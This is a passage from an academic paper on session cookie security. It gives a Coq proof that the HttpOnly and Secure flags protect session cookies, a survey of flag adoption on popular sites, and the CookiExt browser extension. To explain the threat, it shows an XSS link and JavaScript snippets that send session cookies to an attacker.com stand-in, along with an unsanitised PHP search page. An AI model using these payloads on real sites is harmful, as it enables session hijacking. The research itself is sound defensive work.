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Interestingly, this problem is so serious that modern web browsers implement native protection
mechanisms based on the HttpOnly and Secure flags to shield session cookies from unintended
access by scripts injected into HTML code, as well as by sni↵ers tapping the client-server link
of an HTTP connection.
While there is a general understanding that these flags constitute an e↵ective defense, no formal

result has so far been proved about the security guarantees they convey. The risk inherent to
this gap between intuitive understanding and formal guarantees should not be underestimated,
as experience has shown that any such gap between a prescribed protection mechanism and the
security properties it is intended to enforce may hide dangerous security vulnerabilities. Without
looking too far, it is well-known that the intuitive same-origin policy enforced on many web
resources can be circumvented by code injection attacks [17].

Contributions. With the present paper we provide the first formal result assessing the robust-
ness of the HttpOnly and Secure cookie flags with respect to a rigorous attacker model, which
captures both web threats and network attacks, and assumes the attacker’s ability to perform
arbitrary XSS code injection. We state our result in terms of reactive noninterference [9], a
popular and widely accepted definition of information security, which provides strong protection
against any (direct or indirect) information flow occurring in the web browser. To carry out
our mechanized proof, we extend Featherweight Firefox [8,7], a core model of a web browser
developed in the Coq proof assistant, and we rely on Coq’s facilities for interactive theorem
proving to establish our result.
The security guarantees provided by our mechanized proof only apply to sessions that draw on

appropriately flagged cookies. Clearly, however, poorly engineered websites that do not comply
with the recommended flagging still expose their users to serious risks of session hijacking. Our
analysis of the Alexa-ranked top 1000 popular websites gives clear evidence that such risks are
far from remote, as the HttpOnly and Secure flags appear as yet to be largely ignored by web
developers. As a countermeasure, we propose CookiExt, a browser extension that provides client-
side protection against the theft of session cookies, based on appropriate flagging of such cookies
and automatic redirection over HTTPS for HTTP requests carrying them.
Given that overflagging cookies may hinder client usability, CookiExt relies on a heuristic to

identify session cookies, so as to achieve a fine-grained application of the underlying security
policy [28,32]. Additionally, CookiExt implements robust fallback mechanisms to maintain session
state whenever HTTPS is only partially deployed on a website: this is the most delicate aspect
of the practical implementation, which requires a non-trivial engineering e↵ort. We discuss the
design of our Google Chrome implementation of CookiExt, and report on the experiments we
carried out to evaluate the e↵ectiveness of our approach, both from a security perspective and
from the usability point of view. As we discuss in the related work section, CookiExt improves
over existing client-side defenses by combining protection against both web and network attacks,
while at the same time being designed so as to minimise its impact on the user experience.

Structure of the paper. Section 2 provides background material on cookie-based sessions. Sec-
tion 3 describes our formal model and our main theoretical result. Section 4 focuses on the prac-
tical aspects of session cookie security and presents the details of CookiExt. Section 5 discusses
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the soundness of our implementation, clarifying its connections to the formal model. Section 6
reports on our experiments. Section 7 discusses related work and Section 8 concludes1.

Comparison with previous publication. This work revises and significantly extends a published
conference paper [11]. We present a list of the most important changes:

– we revised the formal model in Section 3 to provide a more accurate account of the attacker’s
capabilities in terms of a new label pre-order;

– we reimplemented the original CookiExt prototype based on a thorough usability study,
which led us to refine some of the initial design choices. We discuss in Section 4.2 the details
of our engineering e↵ort, which allowed us to improve both the robustness and the usability
of the original implementation;

– we detail in Section 5 a formal proof of soundness for CookiExt, which fills in the gap between
the theoretical model and the practical implementation. This is a novel contribution, which
follows from our main theoretical result (Theorem 1);

– we report in Section 6 on a larger-scale experiment with the revised version of CookiExt,
providing a more significant assessment of the protection provided by our solution, as well
as its usability.

We also added a number of additional details which were omitted from the original conference
paper due to space constraints.

2. Background

2.1. Session Cookie Theft: Attacks and Defenses

The attack surface against the confidentiality of session cookies is surprisingly large: this
justifies the deployment in standard web browsers of native cookie protection mechanisms [4].

2.1.1. Web Attacks
Web browsers implement a simple protection mechanism for the cookies they store, based

on the so-called same-origin policy, whereby cookies registered by a given domain are made
accessible only to scripts retrieved from that same domain [4]. Unfortunately, as it is well-known,
the same-origin policy can be circumvented by a widespread form of code injection attacks known
as cross-site scripting (XSS). XSS is a dangerous vulnerability, which ranked third in the latest
list of the top 10 security threats against web applications compiled by OWASP [29]. In these
attacks, a script crafted by the attacker is injected in a page originating from a trusted web site
and thus acquires the privileges of that site [17]. As a result, the injected script is granted access
to the DOM of the page, and in particular to the Javascript object document.cookie containing
the session cookies, which can be leaked to the attacker’s website.
To make the explanation more concrete, consider the following example [28]. Assume that a

website weak.com hosts a web page search.php, which reads a number of keywords from the
user and queries a database for results:

1CookiExt and Coq scripts available at https://github.com/wilstef/sec-session
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<?php
session_start ();
...
$query = $_GET [’q’];
print "Search results for: <u> $query </u>";
...

?>

The PHP function session start creates a new session cookie, or resumes the current session
if a previously generated session identifier is attached to the request to the page. The vulnera-
bility in the search page arises when the web server dynamically generates the result page, since
the latter includes the value of the parameter q provided by the GET request to the search page
without proper sanitization. An attacker can then steal the session cookie just by providing the
following link to the victim, for instance by including it in a malicious web page:

http://weak.com/search.php?q=</u><script>
document.write (’<img src ="http://attacker.com/
leak.php?ck =’ + document.cookie + ’">’);
</script>

The parameter q supplied to the search page is a script, which is injected into the result page
provided by weak.com to the victim’s browser. Hence, the script runs on behalf of weak.com and
can access the cookies registered by that domain through the object document.cookie, which
is sent to the attacker’s website as the parameter ck.
The problem can be rectified by escaping the HTML tags from the variable $query before

inserting its value in the result page, e.g., by using the strip tags function available in PHP [26].
Unfortunately, appropriate sanitization routines are not always so easy to get right [2] and it
is often hard in practice to ensure that a dynamic page using external input parameters is not
vulnerable to code injection attacks.

2.1.2. Network Attacks
A network attacker may be able to fully inspect and corrupt all the unencrypted tra�c ex-

changed between the browser and the server. Though adopting HTTPS to encrypt network
tra�c does provide an e↵ective countermeasure against eavesdropping and active tampering,
protecting session cookies against improper disclosure is tricky. For instance, many websites
are still only partially deployed over HTTPS [14] and require special attention. In fact, cookies
registered by a given domain are by default attached to all the requests sent to that domain:
consequently, unless appropriate protection is put in place, loading a page over HTTPS may
still leak session cookies in clear, whenever the page retrieves additional contents (e.g., images
or scripts) over an HTTP connection to the same domain.
Notice that even websites which are completely deployed over HTTPS may be vulnerable to

session cookie theft, whenever an attacker is able to inject (non-existing) HTTP links to these
websites in unrelated web pages: indeed, the browser may still end-up accessing these broken
links and send unanswered HTTP requests leaking the session cookies in clear [20].

2.1.3. Browser Protection Mechanisms
Modern web browsers provide two main mechanisms to secure session cookies, based on the

HttpOnly and Secure flags. The HttpOnly flag blocks any access to a cookie attempted by
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JavaScript or any other non-HTTP API, thus making the cookie available only upon transmis-
sions of HTTP(S) requests and preventing its theft via XSS attacks.
The Secure flag, in turn, informs the browser that a cookie may only be included in requests

sent over HTTPS connections, thus ensuring that the cookie is always encrypted when trans-
mitted from the client to the server. Since Secure cookies will never be attached to requests
performed over HTTP connections, they are protected against the security flaws discussed above.
Notice that the HttpOnly flag is independent of the Secure flag and vice-versa: a cookie can

have any possible combination of the two flags.

2.2. Formal Browser Models

Web browsers can be formalized in terms of constrained labelled transition systems known as
reactive systems [9]. Intuitively, a reactive system is an event-driven state machine which waits
for an input, produces a sequence of outputs in response, and repeats the process indefinitely.

Definition 1 (Reactive System [9]). A reactive system is a tuple (C,P, I,O, C0,�!), where C

and P are disjoint sets of consumer and producer states respectively; I and O are disjoint sets
of input and output events respectively; and C0 2 C is the initial (consumer) state. The last
component, �!, is a labelled transition relation over the set of states S , C [ P and the set of
labels A , I [O, defined by the following clauses:

1. if C 2 C and C
↵
�! Q, then ↵ 2 I and Q 2 P;

2. if P 2 P and P
↵
�! Q for some Q 2 S, then ↵ 2 O;

3. if C 2 C and i 2 I, then there exists P 2 P such that C
i
�! P ;

4. if P 2 P, then there exist o 2 O and Q 2 S such that P
o
�! Q.

Clauses 1 and 3 ensure that consumer states are always ready to process any input and transit
to a producer state; clauses 2 and 4 assert that producer states can always emit one or more
outputs in response to an input event.
Defining a notion of information security for reactive systems requires one to identify how input

events a↵ect the output events generated in response. Let (possibly infinite) streams of events be
coinductively defined as the largest set generated by the following productions: S := [] | s :: S,
where s ranges over stream elements. Then, the operational behaviour of a reactive system can
be characterized as a transformation of a given input stream into a corresponding output stream.

Definition 2 (Trace [9]). For an input stream I, a reactive system in a given state Q computes
an output stream O i↵ the judgement Q(I) ) O can be derived by the following inference rules:

(C-Nil)

C([]) ) []

(C-In)

C
i
�! P P (I) ) O

C(i :: I) ) O

(C-Out)

P
o
�! Q Q(I) ) O

P (I) ) o :: O

A reactive system generates the trace (I,O) i↵ C0(I) ) O, where C0 is the initial state of the
reactive system.
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2.3. Reactive Noninterference

Given the previous definition, it is possible to introduce an e↵ective notion of information
security based on the well-known theory of noninterference. Let (L,v) be a pre-order of security
labels and let an observer of the system be represented in terms of a label l 2 L, where higher
labels correspond to higher observational power. Intuitively, a reactive system is noninterferent
if no observer is able to draw a di↵erence between two indistinguishable input streams just by
looking at the output streams generated in response to them.

Definition 3 (Reactive Noninterference [9]). A reactive system is noninterferent i↵ for all labels
l and all its traces (I,O) and (I 0, O0) such that I ⇡l I

0, one has O ⇡l O
0.

The notation S ⇡l S
0 identifies a similarity relation on streams, which corresponds to the

inability of an observer at level l to distinguish S from S
0. As discussed in the original paper

on reactive noninterference [9], di↵erent definitions of stream similarity correspond to di↵erent
notions of information security. We focus here on a very natural (termination-insensitive) notion
of noninterference, called indistinguishable security, which is obtained by adopting the following
definition of stream similarity (known as visible similarity [7]).

Definition 4 (Visible Similarity [7]). Let ⇡l be the largest relation closed under the following
inference rules:

(S-Nil)

[] ⇡l []

(S-Vis)

visible l(s) visible l(s
0)

s ⇡l s
0

S ⇡l S
0

s :: S ⇡l s
0 :: S0

(S-InvisL)

¬visible l(s)
S ⇡l S

0

s :: S ⇡l S
0

(S-InvisR)

¬visible l(s
0)

S ⇡l S
0

S ⇡l s
0 :: S0

Notice that the definition is parametric with respect to a visibility and a similarity relations
for individual stream elements, defining respectively what is visible and what is indistinguishable
from the attacker’s perspective. Di↵erent instantiations of these relations entail di↵erent security
guarantees, as we discuss in Section 3.3.

3. Formalizing Web Session Security

We provide an outline of our mechanized formal proof of reactive noninterference for properly
flagged session cookies under the currently available browser protection mechanisms. To ease
readability, we keep the presentation informal whenever possible: full details can be found in the
online Coq scripts. The scripts have been machine-checked using Coq 8.3pl5 on Windows 8.

3.1. Threat Model

As it is customary for reactive noninterference [9], we characterize attackers in terms of a
pre-order on security labels, which we define as follows.

Definition 5 (Security Labels and Order). Let D be a denumerable set of domain names, ranged
over by d. We define the set of security labels L, ranged over by l, as the smallest set generated
by the following grammar:

l := ? | > | net | http(d) | https(d).
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We define v as the least reflexive relation over L, with > as a top element, ? as a bottom
element, and closed under the following inference rules:

(O-Net)

http(d) v net

(O-Https)

http(d) v https(d)

We can easily prove that (L,v) is a pre-order, hence our definition is well-suited for the theory
of reactive noninterference. Graphically, for D = {d1, d2} we can represent the label pre-order
through the diagram in Figure 1.

>

https(d1) net https(d2)

http(d1) http(d2)

?

Fig. 1. The label pre-order for D = {d1, d2}

It is very natural to characterize the attacker power in terms of a security label in the pre-
order above. Specifically, level http(d) corresponds to a web attacker at d, which has no network
capability and can only observe HTTP tra�c sent to d itself. A web attacker at d with the
additional capability of inspecting the HTTPS tra�c sent to d is modelled by level https(d).
A network attacker, instead, resides at level net and is able to inspect the contents of all the
unencrypted network tra�c, irrespective of the destination domain. We additionally assume that
a net-level attacker is able to observe the presence of any HTTPS request sent over the network,
even though he does not have access to its contents: the presence of HTTPS tra�c may be used
to create an implicit information flow and leak session cookies.
We also underline that, since the definition of reactive noninterference (Definition 3) quantifies

over all the possible input streams fed to the browser model, our framework implicitly provides
any attacker with the ability to inject malicious contents on all the websites, irrespective of the
adopted communication protocol. This is important to represent XSS attacks, since they are
enabled by server-side vulnerabilities in the input sanitization process and thus orthogonal to
the protocol choice. The same universal quantification uniformly captures di↵erent capabilities
which may be used by the attacker to corrupt the input stream, e.g., the ability to suppress
HTTP(S) tra�c normally available to active network attackers.

3.2. Noninterference for Session Cookies

The two security properties we target may informally be described as follows:

(1) the value of an HttpOnly cookie registered by a domain d can only be disclosed by an
attacker at level http(d) or higher;
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(2) the value of an HttpOnly and Secure cookie registered by a domain d can only be disclosed
by an attacker at level https(d) or higher.

The interesting point is that in both cases we target strong confidentiality guarantees, to ensure
that the confidentiality of a session cookie is protected against both explicit and implicit flows of
information, as prescribed by reactive noninterference. Specifically, we will show that a browser
reacting to two input streams that are indistinguishable up to the values of the HttpOnly (and
Secure, when conveyed over HTTPS) cookies attached to the stream components will produce
indistinguishable output streams for any observer that is not the intended owner of these cookies.
Before delving into the technical details, we first provide an intuition about how existing

attacks are captured by reactive noninterference and we highlight the threats posed by implicit
information flows. Consider a web attacker running the HTTP website attacker.com, i.e., an
attacker at http://attacker.com from our label pre-order, and take the following script snippet,
where we assume a function get ck val to simplify the retrieval of a given cookie value:

var val = get_ck_val(document.cookie,"PHPSESSID");
for (x in val) {

var img = document.createElement(’img’);
img.src = ’http://attacker.com/leak?char=’ + val[x] + ’&pos=’ + x;
document.getElementById(’placehere’).appendChild(img);

}

The script retrieves the document.cookie object containing all the cookies accessible by the
page to read the value of the PHPSESSID cookie (storing a session identifier), and then leaks each
individual character of the cookie value, along with its position, to the attacker’s website by
inserting a (broken) image in the page. If the script is injected into a response from honest.com,
for instance by an XSS attack, the attacker will be able to hijack the user’s session.
Now notice that, if the cookie PHPSESSID is marked as HttpOnly, the previous attack will

not work. In particular, irrespective of the value stored in the cookie, the observable output
available to the attacker will always be the same, i.e., nothing. This ensures that both the value
of the cookie and its length are not disclosed to the attacker, and it is thus safe to deem two
HTTP(S) responses from honest.com as similar for http://attacker.com whenever they are
identical up to the choice of the PHPSESSID cookie value. If the HttpOnly flag is not applied to
the cookie, we cannot treat the two responses as similar for http://attacker.com, since the
attacker would be able to draw a di↵erence between them based on the outputs observable at
http://attacker.com upon a successful XSS attack, thus violating reactive noninterference.
Clearly, two HTTP(S) responses from honest.com di↵ering only for the choice of the HttpOnly
cookies cannot be similar for http://honest.com, since the cookies will still be attached by the
browser to any HTTP(S) request sent to honest.com.
Notice also that, if the browser implemented dynamic taint tracking of HttpOnly cookies to

ensure that they are never sent to unintended domains, rather than preventing any access to
the cookie value by JavaScript altogether, it would be easy to construct a variant of the attack
above leaking the entire cookie value through the control flow of the JavaScript program and
reactive noninterference would not hold. Specifically, consider the following script:

var val = get_ck_val(document.cookie,"PHPSESSID");
var i = 0;
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for (x in val) {
var img = document.createElement(’img’);
switch (val[x]) {

case ’A’:
img.src = ’http://attacker.com/leak?char=A&pos=’ + i;
break;

case ’B’:
img.src = ’http://attacker.com/leak?char=B&pos=’ + i;
break;

...
}
document.getElementById(’placehere’).appendChild(img);
i++;

}

The script is semantically equivalent to the one above, but it does not directly output any char-
acter of the cookie value: it just branches over each individual character and leaks it indirectly,
thus dynamic taint tracking on JavaScript variables would not be enough to prevent the leakage.
Luckily, as our result confirms, the HttpOnly flag is robust enough to ensure that these implicit
information flows cannot occur in the browser.
The entire reasoning can be generalized to the Secure flag and a network attacker at level net

in the label pre-order, with the proviso that any Secure cookie must be marked also as HttpOnly
to be protected: the scripts above already highlight this point. Indeed, if the cookie PHPSESSID
was not HttpOnly, the previous scripts could still leak over HTTP all the characters of the cookie
value, thus allowing a network attacker to draw a di↵erence between two responses identical up
to the cookies they set. Clearly, reactive noninterference does not hold against network attackers
for HttpOnly cookies which are not Secure, since these cookies can be liberally transmitted over
HTTP by the browser as the result of its standard functionality.

3.3. Formalization

As anticipated, our security analysis is based on an extension of Featherweight Firefox, a core
model of a web browser developed in the Coq proof assistant [7]. Our goal here is instantiating
the definition of reactive noninterference (Definition 3) by providing visibility and similarity
relations for the browser input/output events, which formalize our security policy and the threat
model. To improve readability, the presentation is based on a (simplified) representation in
standard mathematical notation of selected snippets of the Coq implementation.

3.3.1. Extended Featherweight Firefox
Featherweight Firefox [7] provides a fairly rich subset (⇠15K lines of Coq code) of the main

functionalities of a standard web browser, including multiple browser windows, cookies, HTTP
requests and responses, basic HTML elements, a simple Document Object Model, and some
of the essential features of JavaScript (including AJAX). FF is a reactive system: input events
can either originate from the user or from the network, and output events can similarly be sent
to the user or to the network. In particular, the model defines how the browser reacts to each
possible input by emitting (a sequence of) outputs in response to it. For instance, when FF is in
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a consumer state, it may accept an HTTP response to a previous HTTP request, thus evolving
into a producer state where the scripts included in the response are executed.
We extend FF with a number of new features, to include: (i) support for HTTPS commu-

nication; (ii) a more accurate management of the browser cookie jar to model the Secure and
HttpOnly flags with their intended semantics [4], and (iii) HTTP(S) redirects, a feature included
in related models which has been shown to have a significant impact on browser security [1,3].
We call the new Coq model we get Extended Featherweight Firefox (EFF).
The implementation of EFF arises as expected, though it required several changes to the ex-

isting framework to get a working Coq program: we refer to Appendix A for our implementation
of the cookie flags in Coq. Here, we just remark that HTTPS communication is modelled sym-
bolically, by extending the syntax of input and output events to make it possible to discriminate
between plain and encrypted exchanges (see below). The syntactic elements we introduce to
present the visibility and similarity relations of interest for the present paper are borrowed from
the original Featherweight Firefox model, up to the changes detailed above.

3.3.2. Visibility and Similarity
Let URLs be defined by the productions:

url := blank | url(protocol , domain, path),

where protocol 2 {http, https}, and domain and path are arbitrary strings. Let uwi range over
window identifiers, i.e., natural numbers serving as an internal representation of browser win-
dows; similarly, let ncid range over network connection identifiers, which are needed in the
browser model to match responses with their corresponding requests. A network connection
identifier is a record with two fields: url , which contains the URL endpoint of the connection,
and value, a natural number which uniquely identifies the connection. We use the dot operator
“.” to perform the lookup of a record field.

Output Events Output events are defined by the following productions:

o := ui window opened | ui window closed(uwi) | ui page loaded(uwi , url , doc)
| ui page updated(uwi , doc) | ui error(msg) | net doc req(ncid , req)
| net script req(ncid , req) | net xhr req(ncid , req).

The events are self-explanatory: we dispense from commenting the structure of network requests
(req) and documents (doc) from the Coq model, since they are not strictly relevant to the present
discussion. In the following we will just write net req(ncid , req) when the type of the network
request is immaterial.

Definition 6 (Visibility for Outputs). We define visibility for output events by means of the
following inference rules:

(VO-Net)

url label(ncid) u net v l

visible l(net req(ncid , req))

(VO-Top)

visible>(o)
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where the partial function url label(·) maps network connection identifiers to security labels as
follows:

url label(ncid) =

(
https(d) if 9p : ncid .url = url(https, d , p)

http(d) if 9p : ncid .url = url(http, d , p).

The definition is consistent with the previous characterization of the attacker on the label
pre-order. In particular, notice that the presence of both encrypted and unencrypted network
tra�c is visible to any attacker l such that l w net, hence it can be used by a network attacker
to draw a di↵erence between similar input streams fed to the browser.

Definition 7 (Similarity for Outputs). We define similarity for output events by means of the
following inference rules:

(SO-Crypt)

9d : url label(ncid) = https(d) 6v l

net req(ncid , req) ⇡l net req(ncid , req
0)

(SO-Refl)

o ⇡l o

In words, we are assuming that the attacker is able to fully analyse any plain output event it
has visibility of, while the contents of an encrypted request can only be inspected by a su�ciently
strong attacker, who is able to decrypt the message. We assume here a randomized encryption
scheme, whereby encrypting the same request twice always produces two di↵erent ciphertexts2.
Notice that similar (⇡l) output events must be sent to the same URL, i.e., we assume that the
attacker is able to observe the recipient of any visible network event.

Input Events The treatment of input events is similar, but subtler. Again, we start by in-
troducing some notation. Let network responses (resp) be defined as records with four fields:
del cookies, which is a set of names of cookies which should be deleted by the browser;
set cookies, which is a set of cookies which should be stored in the browser; redirect url , which
is an (optional) URL needed for HTTP(S) redirects; and file, which is the body of the response.
Cookies, in turn, are ranged over by c and defined as records with six fields: a name, a value, a
domain, a path, and two boolean flags secure and httponly .
Input events are then defined by the following self-explanatory productions:

i := ui load in window(uwi , url) | ui close window(uwi) | ui input text(uwi ,field ,msg)
| net doc resp(ncid , resp) | net script resp(ncid , resp) | net xhr resp(ncid , resp).

Similarly to what we stipulated for output events, we write net resp(ncid , resp) to stand for an
arbitrary network response when its type is unimportant.
We presuppose a further condition to rule out input events containing Secure cookies reg-

istered over HTTP. This corresponds to assuming the following condition for the last three
clauses of the input-event productions above: whenever there exists a cookie c 2 resp.set cookies
such that c.secure = true, then ncid .url must be of the form url(https, d , p) for some d and p.

2This is a sound assumption for HTTPS, since it relies on the usage of short-term symmetric keys and attaches
di↵erent sequence numbers to di↵erent messages.
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Any input that does not satisfy this condition is clearly ill-formed, as Secure cookies received
in clear cannot be protected at the client side, hence we exclude these cases from our formal
development for the sake of simplicity. Ruling out ill-formed inputs provides then the formal
counterpart of having the browser simply reject them, declining the request to store the cookie.
Indeed, even though not all current web browsers seem to implement this check, that is enforced
by our browser extension (cf. Section 4).

Definition 8 (Similarity for Inputs). We define similarity for input events as follows:

(SI-Net)

in erase l(resp) = in erase l(resp
0)

net resp(ncid , uwi , resp) ⇡l net resp(ncid , uwi , resp
0)

(SI-Refl)

i ⇡l i

where in erase l(resp) is obtained from resp by erasing from resp.set cookies the value of every
cookie c such that ck label(c) 6v l with:

ck label(c) =

8
><

>:

http(d) if c.domain = d ^ c.httponly = true ^ c.secure = false

https(d) if c.domain = d ^ c.httponly = true ^ c.secure = true

? otherwise.

Intuitively, i ⇡l i
0 if and only if i and i

0 are syntactically equal, except for the cookies hidden
to an attacker at level l (recall the informal overview in Section 3.2). This is the strictest policy
we are able to enforce: cookies which are not marked as HttpOnly do not provide any protection
in our model, since they can be leaked to any domain using XSS.

Definition 9 (Visibility for Inputs). We define visibility for input events as follows:

(VI-All)

visible l(i)

In words, we just stipulate that visible l(i) holds true for all security labels l and all input
events i. This corresponds to stating that the occurrence of a given input event is never hidden
to the attacker: indeed, the cookie flags described above are just intended to protect the value
of the cookie, and not to hide the occurrence of the event which sets the cookie in the browser.
We do not provide any confidentiality guarantee for the response content.

3.3.3. Formal Results
Assuming the definitions of visibility and similarity for input and output events introduced

above, we have our desired result.

Theorem 1 (Noninterference). EFF is noninterferent.

We refer the interested reader to Appendix B for an intuition about the coinductive technique
adopted in the proof, which approximately consists of 22K lines of Coq code. However, the result
is interesting and important in itself, as it provides a certified guarantee of the e↵ectiveness of
the HttpOnly and Secure flags as robust protection mechanisms for session cookies: for any
stream of input events which is fed to the user’s browser, any di↵erence in the value of a session
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cookie which is HttpOnly will only be observable by the owner of the cookie or by the network;
if the cookie is also Secure, however, not even the network can observe any di↵erence.
Needless to say, the theorem only applies to web applications which apply the correct cookie

flags. In the next section, we analyze the actual deployment of such mechanisms in existing
systems, and describe our approach to enforce their use at the client side to secure them.

4. CookiExt: Strengthening Web Session Security

We start with an analysis of the actual adoption of the security flags in existing systems:
our results highlight a dangerous lack of protection, which supports the need for a client-side
defense. We then describe the design of our solution, dubbed CookiExt.

4.1. Session Cookie Protection in the Web

We conduct an analysis on the top 1000 websites of Alexa: we first present a heuristic for
session cookie detection and then we apply it to the cookies set through the HTTP(S) headers
by these websites. Based on this, we collect statistics aimed at understanding whether web
developers put in place appropriate defenses for the session cookies set by their web applications.

4.1.1. A Heuristic for Session Cookie Detection
In parallel work [13], we constructed a gold set of cookies from 70 websites, where the session

cookies are correctly isolated from all the other ones. The gold set consists of 327 cookies,
including 103 cookies used for authentication purposes. Based on this dataset, we can already
get a first picture of the deployment of the cookie flags on real websites. Our results are shown
in Table 1. The numbers show than more than a half of the session cookies registered by the
considered websites have no flag set.

Table 1

Session cookie flags in the gold set from [13]

HttpOnly Secure #cookies Percentage

yes yes 8 7.8%

yes no 38 36.9%

no yes 0 0.0%

no no 57 55.3%

Since collecting session cookies in a reliable way is burdensome [13], but we do not want to
draw any definite conclusion based on just 70 websites, we define a simple heuristic for session
cookie detection and we apply it to extend our analysis to the top 1000 websites of Alexa.
Inspired by previous work on client-side protection mechanisms [28,33,32], the heuristic marks
a cookie as a session cookie if it satisfies either of the following two conditions:

1. its name matches the patterns ’sess’, ’sid’, ’uid’, ’user’, ’auth’ or ’key’;
2. its value contains at least 10 characters and its index of coincidence IC is below 0.04.

The index of coincidence is a statistical measure which can be e↵ectively employed to estimate
how likely a given text was randomly generated [18]. We consider here a variant which is not
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normalized by the alphabet size: given a string s of length N , let ni stand for the number of
occurrences in s of the i-th character of the alphabet. Assuming an alphabet of size A, we let:

IC(s) =

PA
i=1

ni · (ni � 1)

N · (N � 1)

Intuitively, condition 1 is motivated by the fact that several web frameworks register by default
session cookies with known names satisfying this condition; moreover, it appears that custom
session identifiers tend to include some authentication-related terms in their names as well. Con-
dition 2, in turn, is dictated by the expected statistical properties of a robust session identifier,
which is typically a long and random string. The thresholds on the length and the IC have been
set empirically, based on a preliminary investigation on known websites.
We can understand the e↵ectiveness of the heuristic by evaluating it against the gold set

we constructed. Specifically, we build a confusion matrix, keeping track of the number of true
positives, false positives, true negatives and false negatives produced by the heuristic on the
gold set. The results are shown in Table 2: as it turns out, the heuristic correctly detects a fair
amount of the session cookies (around the 70% of them), while not being entirely biased towards
always predicting the positive class. Though sub-optimal, it is then still accurate enough for
a preliminary investigation; actually, it is more accurate than all the other simple heuristics
proposed in the literature so far [13].

Table 2

Confusion matrix for the heuristic (gold set from [13])

Predicted

positive negative

Actual
positive tp: 68 fn: 35

negative fp: 60 tn: 164

4.1.2. Estimating the Risk of Session Cookie Theft
We developed a Python crawler which collected the cookies set via the HTTP(S) headers by

the top 1000 websites of Alexa and applied the heuristic in the previous section to isolate their
session cookies. Table 3 provides some statistics on the adoption of the cookie flags to protect
the identified session cookies, divided according to the communication protocol used to set them.

Table 3

Statistics about session cookie flags from Alexa top 1000

HTTP HTTPS Aggregate

HttpOnly Secure #cookies percentage #cookies percentage #cookies percentage

yes yes 15 1.9% 17 5.2% 32 2.8%

yes no 184 22.7% 100 30.7% 284 24.9%

no yes 4 0.5% 6 1.8% 10 0.9%

no no 609 75.0% 203 62.3% 812 71.4%

Overall, we observe that the large majority of the session cookies we identified (71.4%) has
no flag set: though this percentage may be partially biased by the adoption of a simple heuris-
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tic, it still provides clear indications of a limited practical deployment of the available protec-
tion mechanisms. We observe that, on average, web developers protect session cookies set over
HTTPS more than session cookies set over HTTP. Perhaps surprisingly, we also notice that
some cookies set over HTTP have the Secure flag set: this is due to the fact that many websites
can be contacted over HTTP, set some cookies on the corresponding HTTP response, and only
later enforce a redirection over HTTPS, where the original cookies are overwritten by some
fresh ones with the same flags. Of the two flags, HttpOnly appears to be adopted much more
widely than Secure. We conjecture two reasons for this: first, modern releases of major web
frameworks, e.g., ASP, automatically set the HttpOnly flag (but not the Secure flag) for session
cookies generated through the available APIs; second, Secure cookies presuppose an HTTPS
implementation, which is not available for all websites. Still, since the last few years have wit-
nessed a dramatic increase of HTTPS websites, we want to understand how many of them fail at
protecting their session cookies against network attackers (and to which extent we can protect
them just by working at the browser side).
We conducted a simple experiment aimed at estimating the extent of the actual HTTPS de-

ployment. We found that 192 out of the 443 websites registering at least one session cookie
(43.3%) support HTTPS transparently, i.e., they can be successfully accessed simply by replac-
ing http with https in their URL. (In this count we excluded a number of websites which
automatically redirect HTTPS connections over HTTP.) We then observed that only 16 of these
websites (8.3%) set the Secure flag for at least one session cookie. Remarkably, it turns out
that 141 out of these 192 websites (73.4%) contain at least one HTTP link to the same domain
hard-coded in their homepage, hence session cookies which are not marked Secure are at a high
risk of being disclosed to a network attacker when navigating these websites. In particular, even
a passive network attacker will be able to get access to these cookies just by sni�ng the HTTP
tra�c sent by the user’s browser for the normal functionality of the website.
Prior research has advocated the selective application of the HttpOnly flag to session cookies

at the client side to reduce the attack surface against session hijacking [28,33]. We propose
to push this idea further, by automatically flagging session cookies also as Secure, and then
enforcing a redirection to HTTPS for supporting websites. As we discuss below, however, this
idea cannot be implemented as simply as it sounds, since it would break the functionality of
many existing websites which are only partially deployed over HTTPS (see below).

4.2. Client-side Protection with CookiExt

CookiExt is an extension for Google Chrome aimed at enforcing robust client-side protection
for session cookies. We choose Google Chrome for our development because it provides a fairly
powerful – yet simple to use – API for programming extensions: the same solution, however,
could be implemented in any other modern web browser.

4.2.1. Overview
At a high level, the behaviour of CookiExt can be summarized as follows: when the browser

submits a login form, CookiExt inspects the headers of the corresponding HTTP(S) response
from the remote server, trying to identify the session cookies based on the heuristic discussed
above. If a session cookie is found, CookiExt behaves as follows:

– if the response was sent over HTTP, all the identified session cookies are marked as HttpOnly
and the session proceeds using the protocol chosen by the website;
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– if the response was sent over HTTPS, all the identified session cookies are marked as both
HttpOnly and Secure. Additionally, all subsequent requests to the website are automatically
redirected over HTTPS.

This simple picture, however, is significantly complicated by a number of issues which arise in
practice and must be addressed to devise a usable implementation.

4.2.2. Supporting Mixed Content Websites
Mixed content websites are websites which support HTTPS, but make some of their contents

available only on HTTP [14]. This website structure is often adopted by e-commerce sites, which
o↵er access to their private areas over HTTPS, but then make their catalogs available only
on HTTP. These cases are problematic, as enforcing a redirection over HTTPS for the HTTP
portion of the website would make the latter unavailable. Similarly, even assuming to be able to
detect the absence of HTTPS support for some links, the adoption of a fallback to HTTP may
break the user’s session: in fact, if session cookies are marked Secure by the extension, they will
not be sent to the HTTP portion of the website upon navigation.
In the original design of CookiExt [11], we always forced a redirection from HTTP to HTTPS

when a session cookie was found in an HTTP(S) response from the website, and we detected
the lack of HTTPS support by setting a small timeout for every HTTPS redirection attempted
by the extension: if no response was received before the timeout expired, we forced a fallback
to HTTP and we attached all the cookies marked Secure by CookiExt to further HTTP page
requests (to preserve the session). While carrying out more extensive experiments, however, we
noticed that timeouts are not very robust in practice and CookiExt often adopted a fallback to
HTTP when it was not actually required, thus voiding its protection against network attackers.
This inconvenience suggested us to refine our original proposal.
Specifically, we observed that mixed content websites always provide HTTPS support at least

for the initial authentication step, i.e., when the user’s password is sent from the browser to the
server: this is a sensible practice, since passwords are (often reused) long-term credentials and
their improper disclosure may have a much more severe impact than a session cookie leakage. The
key for reliably ensuring protection is thus our choice of marking a session cookie as Secure, and
start redirecting HTTP requests to HTTPS, only whenever the initial login operation happens
over HTTPS. This guarantees that the remote web server is listening on port 443, hence at least
some default response is typically returned on this port and there is no need to rely on timeouts
to detect failures and adopt a fallback to HTTP. In particular, we leverage the common practice
of performing an explicit redirect from HTTPS to HTTP to denote a partial lack of HTTPS
support by the website: when such a redirect is detected, CookiExt removes the Secure flag from
all the cookies previously secured, and all the subsequent requests in the session will be sent
over the protocol specified by the web developer.
Notice that the fallback mechanism never downgrades the security of the original website,

i.e., it never removes the Secure flag from cookies which have already been secured by the
